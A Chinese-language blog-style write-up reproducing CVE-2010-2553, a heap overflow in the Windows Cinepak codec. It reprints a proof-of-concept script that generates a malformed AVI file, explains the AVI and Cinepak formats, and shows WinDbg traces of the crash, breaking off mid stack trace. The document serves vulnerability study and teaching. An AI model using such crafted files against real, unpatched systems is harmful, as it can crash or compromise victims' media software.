CVE-2010-2553复现与分析

这个漏洞是《漏洞战争》中的堆溢出漏洞章节中使用的例子。
堆溢出漏洞比栈溢出漏洞更难发现,漏洞利用难度相对于栈溢出漏洞也更难。
栈溢出漏洞已经很少见了,堆溢出的漏洞越来越多,所以学习堆溢出漏洞的分析更加有必要。
此漏洞涉及到AVI文件的构造,所以需要了解AVI文件格式的构成,更多细节可以看《AVI文件格式分析》的文章。
                            ——当你的才华还配不上你的野心时,请静下来好好努力!

0x00 漏洞描述

  CVE-2010-2553Windows XP SP2Windows XP SP3Windows Vista SP1Windows Vista SP2以及Windows 7中的Cinepak视频编解码器(iccvid.dll)不能正确解压媒体文件,这使得远程攻击者可以通过一个精心制作的文件执行任意代码,也称为“Cinepak视频编解码器解压漏洞”Cinepak视频编解码器(iccvid.dll)中的CVDecompress函数解压缩媒体文件时,未对“Cinepak(CVID) Stream Format”中的“Number of coded strips(Frame Header)”进行限制,导致在复制数据时造成堆溢出,利用此漏洞可造成程序奔溃或者执行任意代码。此漏洞的微软漏洞编号MS10-055

0x10 分析环境

使用的环境 备注
操作系统 Windows XP SP3 版本号:Windows XP Professional SP3 简体中文版
虚拟机 VMWare Workstations 版本号:15.5.1
调试器 WinDbg 版本号:v6.12(x86)
反汇编器 IDA Pro 版本号:7.0
视频软件 Microsoft Media Player 版本号:10.00.00.3802
漏洞模块 Cinepak for Windows 32(iccvid.dll) 版本号:1.10.0.12,Windows系统模块

0x20 漏洞复现

  用于触发漏洞的PoC代码,运行后会生成poc.avi,该份代码是由Abysssec安全组织公布在exploit-db站点上的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
# -*- coding: UTF-8 -*-
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/

http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/
https://www.exploit-db.com/exploits/15112

Title : Microsoft Cinepak Codec CVDecompress Heap Overflow
Version : iccvid.dll XP SP3
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2553
MOAUB Number :
'''

import sys

def main():
aviHeaders = ("\x52\x49\x46\x46" # dwList = "RIFF"
"\x58\x01\x00\x00" # dwSize = 0x158 = 344 byte
"\x41\x56\x49\x20" # dwFourCC = "AVI "
"\x4C\x49\x53\x54" # dwList = "LIST" <---------------------------+
"\xC8\x00\x00\x00" # dwSize = 0xc8 = 200 byte |
"\x68\x64\x72\x6C" # dwFourCC = "hdrl" |
"\x61\x76\x69\x68" # dwFourCC = "avih" <-----------+ |
"\x38\x00\x00\x00" # dwSize = 0x38 = 56 byte | |
"\xA0\x86\x01\x00" # dwMicroSecPerFrame = 0x186A0 | |
"\x00\x00\x00\x00" # dwMaxBytesPerSec = 0x0 | |
"\x00\x00\x00\x00" # dwPaddingGranularity = 0x0 | |
"\x10\x01\x00\x00" # dwFlages = 0x110 | |
"\x4E\x00\x00\x00" # dwTotalFrame = 0x4E = 78 | |
"\x00\x00\x00\x00" # dwInitialFrames = 0x0 "avih" |
"\x01\x00\x00\x00" # dwStreams = 0x1 | |
"\x00\x00\x00\x00" # dwSuggestedBufferSize = 0x0 | |
"\x60\x01\x00\x00" # dwWidth = 0x160 = 352 | |
"\x20\x01\x00\x00" # dwHeight = 0x120 = 288 | |
"\x00\x00\x00\x00" # dwReserved[0] | |
"\x00\x00\x00\x00" # dwReserved[1] | |
"\x00\x00\x00\x00" # dwReserved[2] | |
"\x00\x00\x00\x00" # dwReserved[3] <---------------+ |
"\x4C\x49\x53\x54" # dwList = "LIST" <------------------+ |
"\x7C\x00\x00\x00" # dwSize = 0x7C = 124 byte | |
"\x73\x74\x72\x6C" # dwFourCC = "strl" | |
"\x73\x74\x72\x68" # dwFourCC = "strh" <-------+ | |
"\x38\x00\x00\x00" # dwSize = 0x38 = 56 byte | | |
"\x76\x69\x64\x73" # fccType = "vids" | | |
"\x63\x76\x69\x64" # fccHandler = "cvid" | | |
"\x00\x00\x00\x00" # dwFlags = 0x0 | | |
"\x00\x00" # wPriority = 0x0 | | |
"\x00\x00" # wLanguage = 0x0 | | |
"\x00\x00\x00\x00" # dwInitalFrames = 0x0 | | "hdrl"
"\xE8\x03\x00\x00" # dwScale = 0x3E8 = 1000 "strh" | |
"\x10\x27\x00\x00" # dwRate = 0x2710 = 10000 | | |
"\x00\x00\x00\x00" # dwStart = 0x0 | | |
"\x4E\x00\x00\x00" # dwLength = 0x4E = 78 | | |
"\x20\x74\x00\x00" # dwSuggestedBufferSize | | | ; 0x7420=29728
"\xFF\xFF\xFF\xFF" # dwQuality = -1 | | |
"\x00\x00\x00\x00" # dwSampleSize = 0x0 | | |
"\x00\x00" # left = 0x0 | "strl" |
"\x00\x00" # top = 0x0 | | |
"\x60\x01" # right = 0x160 = 352 | | |
"\x20\x01" # bottom =0x120 = 288<--+ | |
"\x73\x74\x72\x66" # dwFourCC = "strf" <-------+ | |
"\x28\x00\x00\x00" # dwSize = 0x28 = 40 byte | | |
"\x28\x00\x00\x00" # biSize = 0x28 = 40 byte | | |
"\x50\x01\x00\x00" # biWidth = 0x150 = 336 | | |
"\x20\x01\x00\x00" # biHeight =0x120 = 288 | | |
"\x01\x00" # biPlanes = 0x1 "strf" | |
"\x18\x00" # biBitCount = 0x18 = 24 | | |
"\x63\x76\x69\x64" # biCompression = "cvid" | | |
"\x84\x8D\x00\x00" # biSizeImage=0x8D84=36228 | | |
"\x00\x00\x00\x00" # biXPelsPerMeter = 0x0 | | |
"\x00\x00\x00\x00" # biYPelsPerMeter = 0x0 | | |
"\x00\x00\x00\x00" # biClrUsed = 0x0 | | |
"\x00\x00\x00\x00") # biClrImportant = 0x0 <----+ | |
# | |
padding = ("\x4A\x55\x4E\x4B" # dwFourCC = "JUNK" | |
"\x00\x00\x00\x00" # dwSize = 0x0 <-----------------+----+
"\x4A\x55\x4E\x4B" # dwFourCC = "JUNK"
"\x00\x00\x00\x00") # dwSize = 0x0

movi_tag = ("\x4C\x49\x53\x54" # dwList = "LIST" <-----------------------------------------+
"\x5C\x00\x00\x00" # dwSize = 0x5C = 92 byte |
"\x6D\x6F\x76\x69" # dwFourCC = "movi" |
"\x30\x30\x64\x63" # dwFourCC = "00dc" | ; 压缩视频帧数据块
"\x10\x00\x00\x00") # dwSize = 0x10 = 16 byte |
# |
cinepak_codec_data1 = ("\x00" # Flags <-------------------+ | ; Flags = 0x0
"\x00\x00\x68" # Length of CVID data | | ; Length of CVID data = 0x68 = 104
"\x01\x60" # Width of coded frame "Frame Header" | ; Width of coded frame = 0x160 = 352
"\x01\x20") # Height of coded frame | | ; Height of coded frame = 0x120 = 288
number_of_coded_strips = ("\x00\x10") # Number of coded strips <--+ | ; number_of_coded_strips = 0x10 = 16
cinepak_codec_data2 = ("\x10\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1000 - Intra-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x00\x00" # Strips top Y position "Strip Header" | ; Strips top Y position = 0x0
"\x00\x00" # Strips top X position | | ; Strips top X position = 0x0
"\x00\x60" # Strips bottom Y position | | ; Strips bottom Y position = 0x60 = 96
"\x01\x60" # Strips bottom X position<-+ | ; Strips bottom X position = 0x160 = 352
"\x20\x00" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x2000 - List of blocks in 12 bit V4 codebook
"\x00\x00" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x0
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x41\x41" # Strips top Y position "Strip Header" "movi" ; Strips top Y position = 0x4141
"\x41\x41" # Strips top X position | | ; Strips top X position = 0x4141
"\x41\x41" # Strips bottom Y position | | ; Strips bottom Y position = 0x4141
"\x41\x41" # Strips bottom X position<-+ | ; Strips bottom X position = 0x4141
"\x41\x41" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x4141
"\x41\x41" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x4141
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x41\x41" # Strips top Y position "Strip Header" | ; Strips top Y position = 0x4141
"\x41\x41" # Strips top X position | | ; Strips top X position = 0x4141
"\x41\x41" # Strips bottom Y position | | ; Strips bottom Y position = 0x4141
"\x41\x41" # Strips bottom X position<-+ | ; Strips bottom X position = 0x4141
"\x41\x41" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x4141
"\x41\x41" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x4141
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x41\x41" # Strips top Y position "Strip Header" | ; Strips top Y position = 0x4141
"\x41\x41" # Strips top X position | | ; Strips top X position = 0x4141
"\x41\x41" # Strips bottom Y position | | ; Strips bottom Y position = 0x4141
"\x41\x41" # Strips bottom X position<-+ | ; Strips bottom X position = 0x4141
"\x41\x41" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x4141
"\x41\x41" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x4141
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data "Strip Header" | ; Size of strip data = 0x10 = 16
"\x41\x00") # Strips top Y position<----+---------------------------+ ; Strips top Y position = 0x4141

idx_tag = ("\x69\x64\x78\x31" # dwFourCC = "idx1" <-----------+
"\x10\x00\x00\x00" # dwSize = 0x10 = 16 byte |
"\x30\x30\x64\x63" # dwChunkId = "00dc" "idx1"
"\x10\x00\x00\x00" # dwFlags = 0x10 |
"\x04\x00\x00\x00" # dwOffset = 0x4 |
"\x68\x00\x00\x00") # dwSize = 0x68 <-----------+

avifile = open('poc3.avi', 'wb+')
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)

avifile.close()
print '[-] AVI file generated'

if __name__ == '__main__':
main()

0x30 漏洞原理分析

0x31 AVI文件格式

  AVI文件格式的细节,可以看我写的另一篇文章《AVI文件格式分析》

0x32 Cinepak视频编解码器

  Cinepak编解码器是一种相对较旧的编码技术,今天仍然很少使用。它的优势来自解码器的计算简单,而不是比特率与质量性能之间的关系。这个编解码器基本上是一个具有自适应向量密度向量量化器每个帧被分割为4x4像素块,并且每个块使用1或4个向量进行编码。我们将这些编码类型标记如下:

  • V1 - 每个块(block)用1个向量编码。
  • V4 - 每个块(block)用4个向量编码。

  V1V4编码类型都引用单独的向量codebooks,我们分别将其标记为V1 codebooksV4 codebooks每个codebooks最多包含256个条目

  Frame也被分成可变大小的条(Strips)条(Strips)定义了Frame的区域大小,该区域的尺寸小于或等于Frame的尺寸每个条(Strips)定义其自己的一对独特的向量codebooks

  一个Frame可以使用每像素8位(bpp)或每像素12位编码。在12bpp模式下,每个codebooks向量包含4个8位亮度值(luminance)和2个子采样的8位色度值(chrominance):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
   +----+----+  +---+  +---+
| y0 | y1 | | u | | v |
+----+----+ +---+ +---+
| y2 | y3 |
+----+----+
----------------------------------------------------------------------------------------------
YUV444(4x4 pixel blocks) YUV422(4x4 pixel blocks)
+-----+-----+-----+-----+ +-----+-----+-----+-----+
| Y | Y | Y | Y | | Y | Y | Y | Y |
| U V | U V | U V | U V | | U | V | U | V |
+-----+-----+-----+-----+ +-----+-----+-----+-----+
| Y | Y | Y | Y | | Y | Y | Y | Y |
| U V | U V | U V | U V | 4*4*3=48byte | U | V | U | V | 4*4*2=32byte
+-----+-----+-----+-----+ (48*8)/16=24bpp +-----+-----+-----+-----+ (32*8)/16=16bpp
| Y | Y | Y | Y | | Y | Y | Y | Y |
| U V | U V | U V | U V | | U | V | U | V |
+-----+-----+-----+-----+ +-----+-----+-----+-----+
| Y | Y | Y | Y | | Y | Y | Y | Y |
| U V | U V | U V | U V | | U | V | U | V |
+-----+-----+-----+-----+ +-----+-----+-----+-----+

YUV420(4x4 pixel blocks) Y(4x4 pixel blocks)
+-----+-----+-----+-----+ +-----+-----+-----+-----+
| Y | Y | Y | Y | | Y | Y | Y | Y |
| U | | U | | | | | | |
+-----+-----+-----+-----+ +-----+-----+-----+-----+
| Y | Y | Y | Y | | Y | Y | Y | Y |
| | V | | V | 4*(4+1+1)=24byte | | | | | 4*4*1=16byte
+-----+-----+-----+-----+ (24*8)/16=12bpp +-----+-----+-----+-----+ (16*8)/16=8bpp
| Y | Y | Y | Y | | Y | Y | Y | Y |
| U | | U | | | | | | |
+-----+-----+-----+-----+ +-----+-----+-----+-----+
| Y | Y | Y | Y | | Y | Y | Y | Y |
| | V | | V | | | | | |
+-----+-----+-----+-----+ +-----+-----+-----+-----+

YUV411(4x4 pixel blocks)
+-----+-----+-----+-----+
| Y | Y | Y | Y |
| U | | V | |
+-----+-----+-----+-----+
| Y | Y | Y | Y |
| | U | | V | 4*(4+1+1)=24byte
+-----+-----+-----+-----+ (24*8)/16=12bpp
| Y | Y | Y | Y |
| U | | V | |
+-----+-----+-----+-----+
| Y | Y | Y | Y |
| | U | | V |
+-----+-----+-----+-----+

  在8bpp模式下,codebooks仅包含4个亮度值(luminance)。使用以下简单的矩阵乘法可实现从RGB颜色空间Cinepak颜色空间的转换:

1
2
3
| r |   | 1.0  0.0  2.0 | | y |
| g | = | 1.0 -0.5 -1.0 | | u |
| b | | 1.0 2.0 0.0 | | v |

  求3x3矩阵的逆矩阵可以得出:

1
2
3
| y |   |  0.2857  0.5714  0.1429 | | r |
| u | = | -0.1429 -0.2857 0.4286 | | g |
| v | | 0.3571 -0.2857 -0.0714 | | b |

  这显然不同于用于颜色空间转换标准技术,并且之所以选择它是因为它的数学简单性而不是其感知性能

  如前所述,可以使用标记为V11个8位向量标记为V44个8位向量来对4×4像素块进行编码。这些向量分别引用V1V4 codebooks。对于V1编码的块,使用单个codebook向量对块进行编码,如下所示:

1
2
3
4
5
6
7
8
9
+----+----+----+----+  +---+---+  +---+---+
| y0 | y0 | y1 | y1 | | u | u | | v | v |
+----+----+----+----+ +---+---+ +---+---+
| y0 | y0 | y1 | y1 | | u | u | | v | v |
+----+----+----+----+ +---+---+ +---+---+
| y2 | y2 | y3 | y3 |
+----+----+----+----+
| y2 | y2 | y3 | y3 |
+----+----+----+----+

  对于V4编码的块,使用4个codebook表条目对块进行编码。应用于块(block)4向量参考(r0, r1, r2, r3)如下:

1
2
3
4
5
6
7
8
9
+------+------+------+------+  +-----+-----+  +-----+-----+
| r0y0 | r0y1 | r1y0 | r1y1 | | r0u | r1u | | r0v | r1v |
+------+------+------+------+ +-----+-----+ +-----+-----+
| r0y2 | r0y3 | r1y2 | r1y3 | | r2u | r3u | | r2v | r3v |
+------+------+------+------+ +-----+-----+ +-----+-----+
| r2y0 | r2y1 | r3y0 | r3y1 |
+------+------+------+------+
| r2y2 | r2y3 | r3y2 | r3y3 |
+------+------+------+------+

  Cinepak视频序列的典型Frame由以下部分组成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+-----------------------+
| Frame Header |
+-----------------------+
| Strip 1 Header |
+-----------------------+
| Strip 1 Codebooks |
+-----------------------+
| Strip 1 Frame Vectors |
+-----------------------+
| Strip 2 Header |
+-----------------------+
| Strip 2 Codebooks |
+-----------------------+
| Strip 2 Frame Vectors |
+-----------------------+
| Strip 3 Header |
+-----------------------+
| . . . |
| . . . |
| . . . |
+-----------------------+

  这些部分中的每一个都有更详细的描述。所有多字节值均以最高有效字节顺序(MSB)排序(即:摩托罗拉顺序,大端)。因此,字节交换需要基于Intel处理器的机器。

1、Frame Header

  Cinepak视频序列的每一帧(Frame)都以一个Header开头,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    7 6 5 4 3 2 1 0        Field Name                    Type
+---------------+
0 | | | Flags Byte
+---------------+
1 | | Length of CVID data Unsigned
+- -+
2 | |
+- -+
3 | |
+---------------+
4 | | Width of coded frame Unsigned
+- -+
5 | |
+---------------+
6 | | Height of coded frame Unsigned
+- -+
7 | |
+---------------+
8 | | Number of coded strips Unsigned
+- -+
9 | |
+---------------+

  • Flags - Flags字段的位0指定每个条(Strip)codebooks是否使用上一个条(Strip)中定义的codebooks。对于Frame的第一个Strip先前的Strip可以在先前的Frame中找到。
  • Length - 此字段指定Frame中的字节总数
  • Width - Frame的像素宽度
  • Height - Frame的像素高度
  • Number of Strips - 用于对Frame进行编码的条(Strips)总数

2、Strip Header

  帧(Frame)条(Strips)总数Frame Header中定义。每个条(Strips)都以Strip Header开始,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
     7 6 5 4 3 2 1 0        Field Name                    Type
+---------------+
0 | | Strip CVID ID Unsigned
+- -+
1 | |
+---------------+
2 | | Size of strip data Unsigned
+- -+
3 | |
+---------------+
4 | | Strips top Y position Unsigned
+- -+
5 | |
+---------------+
6 | | Strips top X position Unsigned
+- -+
7 | |
+---------------+
8 | | Strips bottom Y position Unsigned
+- -+
9 | |
+---------------+
10 | | Strips bottom X position Unsigned
+- -+
11 | |
+---------------+

  • Strip ID - 此ID具有以下两个值之一:
    • 0x1000 - Intra-coded strip
    • 0x1100 - Inter-coded strip
  • Size - 用于编码Strip的字节总数。这包括用于codebook定义编码向量的字节。
  • Strips X and Y positions - 这4个值定义了条(Strip)所定义的帧(Frame)的区域

3、CVID Chunk

  在Strip Header之后,每个条(Strip)由一系列块(Chunk)组成,其结构如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    7 6 5 4 3 2 1 0        Field Name                    Type
+---------------+
0 | | CVID Chunk ID Unsigned
+- -+
1 | |
+---------------+
2 | | Size of chunk data (N) Unsigned
+- -+
3 | |
+---------------+
4 | |
+- -+
5 | |
+- . . . . -+ Chunk data (N - 4 bytes) Byte
| |
+- -+
N | |
+---------------+

  块(Chunk)标识号开头,然后是块中的字节数。有几种块类型,列出如下:

  • CVID Chunk ID -
    • Intra-coded frames:
      • 0x2000 - 12位V4 codebook中的块列表
      • 0x2200 - 12位V1 codebook中的块列表
      • 0x2400 - 8位V4 codebook中的块列表
      • 0x2600 - 8位V1 codebook中的块列表
      • 0x3000 - 用于编码Frame的向量
      • 0x3200 - 仅来自V1 codebook的块列表
    • Inter-coded frames:
      • 0x2100 - 更新12位V4 codebook的可选块列表
      • 0x2300 - 更新12位V1 codebook的可选块列表
      • 0x2500 - 更新8位V4 codebook的可选块列表
      • 0x2700 - 更新8位V1 codebook的可选块列表
      • 0x3100 - 用于编码一个Frame的向量的选择性集合

  在Chunk IDSize之后是块数据。该数据的格式取决于Chunk ID。这些将在以下各节中介绍。

4、Intra list of codebook blocks(IDs 0x2000, 0x2200, 0x2400, 0x2600)

  该Chunk是包含codebook条目的列表。每个字节代表一个颜色分量值。在12bpp模式(0x20000x2200)中,每6个字节代表一个codebook条目,从向量0开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    7 6 5 4 3 2 1 0        Field Name                    Type
+---------------+
0 | | Luminance value 0 Byte
+---------------+
1 | | Luminance value 1 Byte
+---------------+
2 | | Luminance value 2 Byte
+---------------+
3 | | Luminance value 3 Byte
+---------------+
4 | | U Chrominance value Byte
+---------------+
5 | | V Chrominance value Byte
+---------------+
6 | . |
.
.

  在8bpp模式(0x24000x2600)中,每个codebook条目4个字节(亮度值)定义。块中定义的codebook条目总数取决于块大小(分别为12bpp8bppsize/6size/4)。

5、Inter selective list of library blocks(IDs 0x2100, 0x2300, 0x2500, 0x2700)

  在inter-frame(或非key-frames)中,来自前一帧的向量可用于当前帧无法重用的向量可以使用此块进行如下修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
     7 6 5 4 3 2 1 0        Field Name                    Type
+---------------+
0 | | Update Flags Unsigned
+- -+
1 | |
+- -+
2 | |
+- -+
3 | |
+---------------+
4 | | Luminance value 0 Byte
+---------------+
5 | | Luminance value 1 Byte
+---------------+
6 | | Luminance value 2 Byte
+---------------+
7 | | Luminance value 3 Byte
+---------------+
8 | | U Chrominance value Byte
+---------------+
9 | | V Chrominance value Byte
+---------------+
10 | . |
.
| . |
+---------------+
| . | Update Flags Unsigned
+- . -+
.

  • Update Flags - 每个位指示codebook条目是否被更新。如果该位为1,则codebook条目将被下一个6或4个字节替换(取决于模式),否则条目位置保持不变。

6、Vectors used to encode a frame(ID 0x3000)

  最初,从块中读取4个字节,它们定义了一组标志一组标志32个块进行编码,每个块使用一位。32个1位标志(从flags变量中的最高有效位开始)中的每个标志定义了该块所代表的编码技术。如果标志为1,则将该块编码为V4(4个向量=4个字节),否则将该块编码为V1(1个向量=1个字节)。解析完32个块之后,必须从块中读取另外4个字节,并将其用作下一组标志

7、Selective set of vectors used to encode a frame(ID 0x3100)

  在inter-frame编码中,并非一帧中的所有块都需要更新。与前面的块一样,4个字节代表一组标志,但是在这种情况下,为每个块选择三个编码之一。给定标志位,该块将是:

  • 0 = 跳过该块
  • 10 = V1编码块
  • 11 = V4编码块

  也就是说,如果当前标志位为0,则将跳过该块。如果标志位为1,则随后的位将确定使用两种编码类型中的哪一种(可变长度编码(VLC)的简单形式)。

8、List of blocks from only the V1 codebook(ID 0x3200)

  用此块类型编码的所有块均由V1向量表示。即,该块中的每个字节代表每个块一个向量

0x33 定位漏洞点

  首先打开Windows Media Player,然后用WinDbg附加进程wmplayer.exe,然后通过!gflag命令开启页堆,通过页堆(HeapPage)进行堆溢出漏洞的调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
(fdc.638): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01d0ffcc ebp=01d0fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:008> !gflag +hpa
New NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
0:008> g
ModLoad: 7cf70000 7d0d9000 C:\WINDOWS\system32\quartz.dll
ModLoad: 75af0000 75b01000 C:\WINDOWS\system32\devenum.dll
ModLoad: 73620000 73627000 C:\WINDOWS\system32\msdmo.dll
ModLoad: 76320000 76367000 C:\WINDOWS\system32\comdlg32.dll
ModLoad: 76d70000 76d92000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 76590000 765de000 C:\WINDOWS\System32\cscui.dll
ModLoad: 76570000 7658c000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 75ef0000 75fed000 C:\WINDOWS\system32\browseui.dll
ModLoad: 76960000 76984000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76af0000 76b01000 C:\WINDOWS\system32\ATL.DLL
ModLoad: 759d0000 75a7f000 C:\WINDOWS\system32\USERENV.dll
ModLoad: 76950000 76958000 C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 736d0000 7371b000 C:\WINDOWS\system32\DDRAW.dll
ModLoad: 73b30000 73b36000 C:\WINDOWS\system32\DCIMAN32.dll
ModLoad: 738b0000 73980000 C:\WINDOWS\system32\D3DIM700.DLL
ModLoad: 73b70000 73b87000 C:\WINDOWS\system32\iccvid.dll
(fdc.cf4): Access violation - code c0000005 (first chance) <---- 内存访问违例
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00006000 ebx=00140a18 ecx=00000298 edx=0221fd38 esi=00146000 edi=00148000
eip=73b722cc esp=0221fd04 ebp=0221fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:015> !address 00148000
Usage: <unclassified>
Allocation Base: 00090000
Base Address: 00148000
End Address: 00190000
Region Size: 00048000
Type: 00020000 MEM_PRIVATE
State: 00002000 MEM_RESERVE
Protect: 00000000
0:015> kb
ChildEBP RetAddr Args to Child
0221fd30 73b7cbf3 00000004 00000000 00000068 iccvid!CVDecompress+0x11e(0x73b722cc当前指令地址)
↑------------------------------------------↓
0221fd60 73b766c8 0013abc0 00000000 0013de88 iccvid!Decompress+0x11d(0x73b7cbf3)[73b7cbee call iccvid!CVDecompress (73b721ae)的返回地址]
↑------------------------------------------↓
0221fdac 73b41938 0013abc0 00000001 0000400d iccvid!DriverProc+0x1bf(0x73b766c8)[73b766c3 call iccvid!Decompress (73b7cad6)的返回地址]
......

  开启页堆(HeapPage)后,运行程序,会发生内存访问异常(异常代码:0xC0000005h)而中断,通过以上调试信息,可以看出0x73b722cc处的内存复制指令发生内存访问异常。此时的edi指向的内存的内存状态(State)MEM_RESERVE,即保留内存,保留内存尚不能被实际使用,但其地址空间已被预留,尚需一个提交动作。所以edi指向的内存是不能访问的。

  查看此时的栈回溯,我们可以知道触发异常的指令位于iccvid.dll中的CVDecompress函数中,其父函数为iccvid!Decompress。调用CVDecompress函数的指令位于地址0x73b7cbee处,我们需要对此地址下断点,才能进入CVDecompress函数,分析其功能。但是,由于该地址位于iccvid.dll模块中,而iccvid.dll只有在解析poc.avi时才会被动态加载。若重新附加进程,是未加载iccvid.dll模块的,这里有两种解决方案

  • 1、利用OllyDbgImmunity Debugger调试器附加进程wmplayer.exeF9运行后,打开poc.avi,会中断在异常处,此时已经加载了iccvid.dll,现在对地址0x73b7cbee下断点,断点信息会保存在.udd文件中。或者通过插件注入iccvid.dll后下断点。正常情况下,下次重新附加wmplayer.exeF9运行后重新打开poc.avi,加载iccvid.dll时会激活断点,之后就会断在地址0x73b7cbee处。但是好像OllyDbgImmunity DebuggerBug,无法在加载iccvid.dll时,自动激活断点,打开模块窗口后,断点才会激活,所以无法断在断点处。使用OllyDbg v2.0x64dbg可以解决此问题。
  • 2、利用WinDbgsxe ld:ModuleName命令,可以在首次加载iccvid.dll时断下,然后可以对地址0x73b7cbee下断点。此方法的不方便之处在于每次重新附加程序都需要重新设置断点,很麻烦(可能我没找到好的解决办法)。

  这里我们使用第2种方法,在使用sxe ld:ModuleName命令后,会中断在iccvid.dll加载后调用的ntdll!KiFastSystemCallRet函数处。sxe命令的功能为,当发生异常时,目标程序将在其他任何异常处理程序被激活之前立即中断并进入调试器,这种处理称为处理异常的第一次机会ld[:Module],如果指定Module,则在加载具有该名称的模块时会发生中断。如果省略Module,则在加载任何模块时触发事件。中断后,通过kb查看栈回溯,可以知道中断指令所在函数函数调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
(a1c.630): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01b6ffcc ebp=01b6fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:008> sxe ld:iccvid ; 在加载iccvid.dll时中断
0:008> g
ModLoad: 73b70000 73b87000 C:\WINDOWS\system32\iccvid.dll
eax=00000001 ebx=00000000 ecx=00000044 edx=00092ee0 esi=00000000 edi=00000000
eip=7c92e4f4 esp=01f6e298 ebp=01f6e38c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret
0:005> kb
ChildEBP RetAddr Args to Child
01c8e294 7c92d50c 7c93bd03 000004ac ffffffff ntdll!KiFastSystemCallRet
01c8e298 7c93bd03 000004ac ffffffff 01c8e370 ntdll!ZwMapViewOfSection+0xc
01c8e38c 7c93624a 00093cb8 01c8e418 01c8e940 ntdll!LdrpMapDll+0x330
01c8e64c 7c9364b3 00000000 00093cb8 01c8e940 ntdll!LdrpLoadDll+0x1e9
01c8e8f4 7c801bbd 00093cb8 01c8e940 01c8e920 ntdll!LdrLoadDll+0x230
